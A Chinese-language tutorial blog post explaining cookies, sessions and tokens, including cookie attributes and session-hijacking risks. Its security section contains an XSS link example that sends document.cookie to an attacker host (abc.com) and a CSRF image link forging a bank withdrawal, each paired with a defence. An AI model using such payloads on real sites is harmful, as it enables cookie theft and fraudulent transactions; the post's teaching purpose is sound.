Cookie、Session、Token

HTTP无状态

而Web应用程序是使用HTTP协议传输数据的。HTTP协议是无状态的协议。一旦数据交换完毕,客户端与服务器端的连接就会关闭,再次交换数据需要建立新的连接。这就意味着服务器无法从连接上跟踪会话。就是说假如你去网上购物,把喜欢的商品加到购物车中,因为HTTP是无状态的协议,一旦你的浏览器关闭,下次打开的时候,你上次购物车的商品都没了。这种体验肯定是很差的,所有需要一种机制解决这个问题。

Cookie就是这样的一种机制。它可以弥补HTTP协议无状态的不足。

例子,理发店办卡

先讲个例子,有个基础的概念,在讲理论。

强调:Session是一种概念,并不是实际存在!Session翻译成中文就是“会话”的意思。是一种概念,并不实际存在!!Session的概念现在比较模糊,我按照自己的理解把Session分为两个部分

  1. Session数据:存储在服务端,保存用户的信息
  2. SessionID:保存在客户端,用于验证用户的身份

会员卡,Cookie版

场景:你去理发店办卡

这里假设这个卡比较简单,数据都是在卡上的。理发店的店员只认卡,不认人。
当然这卡是有到期时间(Expires/Max-Age)的,而且如果这个理发店是连锁的,你拿着以这张卡,可以去他们连锁(Domain/Path)的其他店去理发。

注意,这里有两个风险:

  1. 因为数据都是在卡(Cookie数据保存在客户端)上的,用户可以自己篡改数据,甚至自己伪造一个卡。
  2. 因为前面说了,店员只认卡,不认人。如果你的卡丢了,被别人拿走了。这就存在安全问题

小结:

  • Cookie是实际存在的,是纯文本,你可以自己查看
  • Cookie通常由服务器设置,用来识别用户身份
  • Cookie有安全问题

会员卡,Session版

场景:你去理发店办法

这次卡就比较高级,卡里的所有数据存储在理发店的电脑(服务端)里面,店员拿着你的卡,输入卡号(SessionID),就能查到你的卡里的所有信息(Session数据)。

小结

  • Session是一种概念,并不实际存在
  • Session分为两个部分Session数据SessionID
  • Session数据保存在服务器,通常是数据库或者Redis
  • SessionID保存在客户端,通常保存在Cookie中

Cookie概述

Cookie 是服务器保存在浏览器的一小段文本信息,每个 Cookie 的大小一般不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。

Cookie 主要用来分辨两个请求是否来自同一个浏览器,以及用来保存一些状态信息。它的常用场合有以下一些。

  • 对话(Session)管理:保存登录、购物车等需要记录的信息。
  • 个性化:保存用户的偏好,比如网页的字体大小、背景色等等。
  • 追踪:记录和分析用户行为。

有些开发者使用 Cookie 作为客户端储存。这样做虽然可行,但是并不推荐,因为 Cookie 的设计目标并不是这个,它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。

查看你的浏览器最大Cookie容量:http://browserCookielimits.squawky.net/

Cookie分类

会话期Cookie

会话期Cookie是最简单的Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。

注意:会话期Cookie不需要指定过期时间(Expires)或者有效期(Max-Age)。

持久性Cookie

和关闭浏览器便失效的会话期Cookie不同,持久性Cookie可以指定一个特定的过期时间(Expires)或有效期(Max-Age)。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Cookie存储

Cookie存储在本地终端,浏览器会将Cookie的key/value保存到某个目录下的文本文件内,一般以以域名进行区分,即一个域名一个Cookie文件。windows 7下Cookie存储目录为:C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies,部分目录被隐藏,可直接在文件资源地址栏输入访问,Administrator为系统用户名。

特征

  1. 不同的浏览器存放的Cookie位置不一样,也是不能通用的。
  2. Cookie的存储是以域名形式进行区分的,不同的域下存储的Cookie是独立的。
  3. 我们可以设置Cookie生效的域(当前设置Cookie所在域的子域),也就是说,我们能够操作的Cookie是当前域以及当前域下的所有子域
  4. 一个域名下存放的Cookie的个数是有限制的,不同的浏览器存放的个数不一样,一般为20个。
  5. 每个Cookie存放的内容大小也是有限制的,不同的浏览器存放大小不一样,一般为4KB。
  6. Cookie也可以设置过期的时间,默认是会话结束的时候,当时间到期自动销毁

浏览器查看Cookie

Cookie缺点

  1. Cookie会被附加在每个HTTP请求中,所以无形中增加了流量。
  2. 由于在HTTP请求中的Cookie是明文传递的,所以安全性成问题。(除非用HTTPS)
  3. Cookie的大小限制在4KB左右。对于复杂的存储需求来说是不够用的。

Cookie属性

Expires/Max-Age

Expires属性指定一个具体的到期时间,是一个时间点,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()进行格式转换。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

如果不设置该属性,或者设为null,Cookie 默认为会话期Cookie,浏览器窗口一旦关闭,该 Cookie 就会被删除。

Tips:浏览器是根据本地时间来判断 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。

Max-Age属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年),是一个时间段。过了这个时间以后,浏览器就不再保留这个 Cookie。Max-Age 的默认值是 -1(即会话期Session );

若Max-Age有三种可能值:

  1. 负数:会话期Session;
  2. 0:删除Cookie;
  3. 正数:创建时刻+ Max-Age

Tips:如果同时指定了Expires和Max-Age,那么Max-Age的值将优先生效。

小结:

  • Expires为时间点,Max-Age为时间段
  • 如果Expires和Max-Age同时存在,Max-Age优先
  • Max-Age属性的值为秒数。
  • Expires属性的值为 UTC 格式。
  • 如果Expires和Max-Age没有被设置,默认为会话期Cookie那么浏览器关闭后,Cookie就会被删除

Domain/Path

Domain是域名,Path是路径,两者加起来就构成了 URL,Domain和Path一起来限制 Cookie 能被哪些 URL 访问。

Domain 标识指定了哪些主机可以接受Cookie。如果不指定,默认为当前文档的主机不包含子域名)。如果指定了Domain,则一般包含子域名。

例如,如果设置 Domain=mozilla.org,则Cookie也包含在子域名中(如developer.mozilla.org)。

Path 标识指定了主机下的哪些路径可以接受Cookie(该URL路径必须存在于请求URL中)。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。

例如,设置 Path=/docs,则以下地址都会匹配:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

Secure

标记为 Secure 的Cookie只应通过被HTTPS协议加密过的请求发送给服务端。但即便设置了 Secure 标记,敏感信息也不应该通过Cookie传输,因为Cookie有其固有的不安全性,Secure 标记也无法提供确实的安全保障。

从 Chrome 52 和 Firefox 52 开始,不安全的站点(HTTP:)无法使用Cookie的 Secure 标记。

注意:不像其它选项,该选项只是一个标记而没有值。

Set-Cookie = "name=huang; secure";

HttpOnly

微软的 IE6 SP1 在 Cookie 中引入了一个新的选项:HTTP-only,HTTP-Only 背后的意思是告之浏览器该 Cookie 绝不能通过 JavaScript 的 document.Cookie 属性访问。设计该特征意在提供一个安全措施来帮助阻止通过 JavaScript 发起的跨站脚本攻击 (XSS) 窃取 Cookie 的行为。今天主流浏览器都支持 HTTP-Only。

要创建一个 HTTP-Only Cookie,只要向你的 Cookie 中添加一个 HTTP-Only 标记即可:

Set-Cookie: name=Nicholas; HttpOnly

SameSite

一旦设定这个标记,通过 documen.coookie 则不能再访问该 Cookie。

SameSite Cookie允许服务器要求某个Cookie在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。但目前SameSite Cookie还处于实验阶段,并不是所有浏览器都支持。

详细请看:http://www.cnblogs.com/ziyunfei/p/5637945.html

Cookie安全问题

多数网站使用Cookie作为用户会话的唯一标识,因为其他的方法具有限制和漏洞。如果一个网站使用Cookies作为会话标识符,攻击者可以通过窃取一套用户的Cookies来冒充用户的请求。从服务器的角度,它是没法分辨用户和攻击者的,因为用户和攻击者拥有相同的身份验证。 下面介绍几种Cookie盗用和会话劫持的例子:

网络窃听

网络上的流量可以被网络上任何计算机拦截,特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的情况下,攻击者可以读取网络上的其他用户的信息,包含HTTP Cookie的全部内容,以便进行中间的攻击。比如:拦截Cookie来冒充用户身份执行恶意任务(银行转账等)。

解决办法:服务器可以设置secure属性的Cookie,这样就只能通过HTTPs的方式来发送Cookies了。

跨站点脚本XSS

使用跨站点脚本技术可以窃取Cookie。当网站允许使用javascript操作Cookie的时候,就会发生攻击者发布恶意代码攻击用户的会话,同时可以拿到用户的Cookie信息。

例子:

<a href="#" onclick=`window.location=HTTP://abc.com?Cookie=${docuemnt.Cookie}`>领取红包</a> 

当用户点击这个链接的时候,浏览器就会执行onclick里面的代码,结果这个网站用户的Cookie信息就会被发送到HTTP://abc.com攻击者的服务器。攻击者同样可以拿Cookie搞事情。

解决办法:可以通过Cookie的HttpOnly属性,设置了HttpOnly属性,javascript代码将不能操作Cookie。

跨站请求伪造CSRF

举个CSRF攻击的例子,在网页中有这样的一个链接

![](http://bank.com?withdraw=1000&to=tom)

假设你已经通过银行的验证并且Cookie中存在验证信息,同时银行网站没有CSRF保护。一旦用户点了这个图片,就很有可能从银行向tom这个人转1000块钱。

追踪和隐私

第三方Cookie

每个Cookie都会有与之关联的域(Domain),如果Cookie的域和页面的域相同,那么我们称这个Cookie为第一方Cookie,如果Cookie的域和页面的域不同,则称之为第三方Cookie。一个页面包含图片或存放在其他域上的资源(如图片广告)时,第一方的Cookie也只会发送给设置它们的服务器。通过第三方组件发送的第三方Cookie主要用于广告和网络追踪。大多数浏览器默认都允许第三方Cookie,但是可以通过附加组件来阻止第三方Cookie。

在某些国家已经开始对Cookie制订了相应的法规,可以查看维基百科上例子Cookie statement

请勿追踪Do-Not-Track

请勿追踪(英语:Do Not Track,简称DNT,又译请勿跟踪不要追踪我)是一项被提名的HTTP头。 当用户提出启用“请勿追踪”功能后,具有“请勿追踪”功能的浏览器会在HTTP数据传输中添加一个“头信息”(headers),这个头信息向商业网站的服务器表明用户不希望被追踪。这样,遵守该规则的网站就不会追踪用户的个人信息来用于更精准的在线广告。

欧盟Cookie指令

关于Cookie,欧盟已经在2009/136/EC指令中提了相关要求,该指令已于2011年5月25日生效。虽然指令并不属于法律,但它要求欧盟各成员国通过制定相关的法律来满足该指令所提的要求。当然,各国实际制定法律会有所差别。

该欧盟指令的大意:在征得用户的同意之前,网站不允许通过计算机、手机或其他设备存储、检索任何信息。自从那以后,很多网站都在网站声明中添加了相关说明,告诉用户他们的Cookie将用于何处。

可以通过维基百科的相关内容获取最新的各国法律和更精确的信息。

僵尸Cookie和删不掉的Cookie

Cookie的一个极端使用例子是僵尸Cookie(或称之为“删不掉的Cookie”),这类Cookie较难以删除,甚至删除之后会自动重建。它们一般是使用Web storage API、Flash本地共享对象或者其他技术手段来达到的。相关内容可以看:

Cookie小结

  1. Cookie 是有大小限制的,大多数浏览器支持最大为 4096 字节的 Cookie(具体会有所差异,可以使用这个好用的工具: HTTP://browserCookielimits.squawky.net/ 进行测试);如果 Cookie 字符串的长度超过最大限制,则该属性将返回空字符串。
  2. 由于 Cookie 最终都是以文件形式存放在客户端计算机中,所以查看和修改 Cookie 都是很方便的,这就是为什么常说 Cookie 不能存放重要信息的原因。
  3. 每个 Cookie 的格式都是这样的:CookieName = Vaue;名称和值都必须是合法的标示符。
  4. Cookie 是存在 有效期的。在默认情况下,一个 Cookie 的生命周期就是在浏览器关闭的时候结束。如果想要 Cookie 能在浏览器关掉之后还可以使用,就必须要为该 Cookie 设置有效期,也就是 Cookie 的失效日期。
  5. Cookie 有域和路径这个概念。不同域和路径之间不能共享Cookie
  6. Cookie 存在两种类型:①:你浏览的当前网站本身设置的 Cookie 第三方 Cookie (通常用于精准广告和追踪个人信息)
  7. Cookie可以手动清除和关闭

Session由来

上面讲了Cookie,但是Cookie是保存在客户端的,如果用户吧Cookie删除了,那么数据的信息就丢失了,这肯定不是我们想要的,所有些数据我们是要保存到服务端的。等下次用户再次访问就直接获取数据。

什么是Session

强调:Session是一种概念,并不是实际存在!Session翻译成中文就是“会话”的意思。是一种概念,并不实际存在!!Session的概念现在比较模糊,我按照自己的理解把Session分为两个部分

  1. Session数据:存储在服务端,保存用户的信息
  2. SessionID:保存在客户端,用于验证用户的身份

SessionID存储方式

Session 是存储服务端的,那么当一个用户访问的时候,服务端怎么判断是哪个用户的访问呢?答案是通过SessionID,用户访问的时候会一并把SessionID发送给服务端。

那么问题又来了, SessionID怎么传输到服务端的呢?

最常用的,同时也是默认实现的方法,就是把SessionID保存到Cookie中

默认以Cookie技术实现,服务端会给这次会话创造一个JSESSIONID的Cookie值。

(但是Cookie可以被人为的禁止,所以还有下面两种方法)

  1. URL重写:直接把SessionID写到URL中
  2. 表单隐藏字段:修改form表单,添加一个SessionID类似的隐藏域,通过表单的形式传到服务端

Session集群,数据同步问题

存储Session往往一个服务器时不够用的,所以要上Session集群。那么问题就来了,不同服务器之间的Session数据如何共享与同步?

因为通过负载均衡后,同一个用户访问同一个页面可能会被分配到不同的Session服务器上,如果不用的Session服务器存储的内容不相同,那么就会出现数据不匹配的问题

Cookie与Session区别

相同点

  • Session 和 Cookie 都是保存用户状态的

不同点

  • Cookie 是真实存在的,Session只是一个概念
  • 保存位置:Cookie数据存放在客户端上,Session数据放在服务器上。
  • 安全性:Cookie明文存储在本地,不安全。容易被恶意利用。相对来说,Session存储在服务端,安全性高一些
  • 生命周期:在不设置条件的情况下两者都是在浏览器关闭后消失(可在客户端设置Cookie的存活时间,也可在服务端设置Session的存活时间)
  • 两者关系:Session 需要Session_id 作为唯一标识,而Session一般情况下保存在Cookie中的,通过Cookie发送到服务端。
  • 对服务器压力:Session保存在服务器上,用户量大了之后,会占用服务器的空间。Cookie保存在客户端,不占用服务器资源

Cookie与Session问答

Cookie运行在客户端,Session运行在服务端,对吗?

A:不完全正确。Cookie是运行在客户端,有客户端进行管理;

Session数据虽然是运行在服务器端,但是SessionID作为一个Cookie是存储在客户端的。

浏览器禁止Cookie,Cookie就不能用了,但Session不会受浏览器影响,对吗?

A:错。浏览器禁止Cookie,Cookie确实不能用了,Session会受浏览器端的影响。因为SessionID默认是保存在Cookie中的。当然,有办法通过URL传递Session和隐藏表单方法。

浏览器关闭后,Cookie和Session都消失了,对吗?

A:错。Cookie分为会话期Cookie和持久性Cookie,会话期Cookie会随着浏览器的关闭而消失,而持久性Cookie不会。

更顽固的是Flash Cookie,不过现在很多系统优化软件和新版浏览器都已经支持删除Flash Cookie。而Session数据是保存在服务端的,并不会受浏览器影响

Token

为什么会有Token的出现?

Session存储在服务端,存储是需要空间

Session扩展性差,集群的数据同步困难

Session的传输一般都是通过Cookie来传输,如果浏览器禁用Cookie,就会比较麻烦

移动端(Android/iOS)对Cookie支持并不是很好

什么是Token

Token的意思是“令牌”,是服务端生成的一串字符串,作为客户端进行请求的一个标识。

当用户第一次登录后,服务器生成一个Token并将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。

Token验证流程

使用基于 Token 的身份验证方法,在服务端不需要存储用户的登录记录,服务端只需要对Token进行验证。大概的流程是这样的:

  1. 客户端使用用户名跟密码请求登录
  2. 服务端收到请求,去验证用户名与密码
  3. 验证成功后,服务端会签发一个 Token,再把这个 Token 发送给客户端
  4. 客户端收到 Token 以后可以把它存储起来,比如放在 Cookie 里或者 Local Storage 里
  5. 客户端每次向服务端请求资源的时候需要带着服务端签发的 Token
  6. 服务端收到请求,然后去验证客户端请求里面带着的 Token,如果验证成功,就向客户端返回请求的数据

Token是用户的验证方式,最简单的Token组成:uid(用户唯一的身份标识)、time(当前时间的时间戳)、sign(签名,由Token的前几位+盐以哈希算法压缩成一定长的十六进制字符串,可以防止恶意第三方拼接Token请求服务器)。

更详细请看:

http://www.ruanyifeng.com/blog/2018/07/json_web_Token-tutorial.html

https://ninghao.net/blog/2834

Token的优势

可扩展性

传统Session想要上集群的话还需要考虑数据同步的问题,扩展性差

服务端并不需要存储Token,只需要对Token进行验证。

跨域问题

浏览器存在跨域问题,传统采用Session比较麻烦。

Token不存在跨域的问题,只要有Token并且不同的网站采用相同的验证机制,就ok了。

Token里面可以存储信息

详细可看JWT的实现

更安全,防跨站请求伪造(CSRF)

举个CSRF攻击的例子,在网页中有这样的一个链接
![](http://bank.com?withdraw=1000&to=tom),假设你已经通过银行的验证并且Cookie中存在验证信息,同时银行网站没有CSRF保护。一旦用户点了这个图片,就很有可能从银行向tom这个人转1000块钱。

但是如果银行网站使用了Token作为验证手段,攻击者将无法通过上面的链接转走你的钱。(因为攻击者无法获取正确的Token)

性能

传统Session机制是需要查数据库或者Redis的,会消耗性能和时间。而Token只需要验证就行了。

移动端的支持

现代的 API 不仅仅和浏览器交互,正确编写一个 API 可以同时支持浏览器,还有原生移动平台,比如 IOS 或者 Android。原生移动平台并不一定和 Cookie 能良好的兼容,在使用中会存在一些限制和需要注意的地方。另一方面,Token 更容易在 IOS 和 Android 上实现,Token 也更容易实现物联网应用程序和服务,没有 Cookie 存储的概念。

参考

https://www.bysocket.com/?p=384

HTTPs://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies

HTTPs://zhuanlan.zhihu.com/p/31852168

HTTPs://zhuanlan.zhihu.com/p/50541175

HTTPs://www.jeffjade.com/2016/10/31/115-summary-of-Cookie/

HTTPs://blog.csdn.net/playboyanta123/article/details/79464684

HTTPs://blog.csdn.net/appandroid/article/details/9061237

HTTPs://mp.weixin.qq.com/s/V_vRldvxut4iezM3EI-Bfw

https://blog.csdn.net/playboyanta123/article/details/79464684

https://www.jianshu.com/p/7c852e294a76

https://www.zybuluo.com/Dukebf/note/856502

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值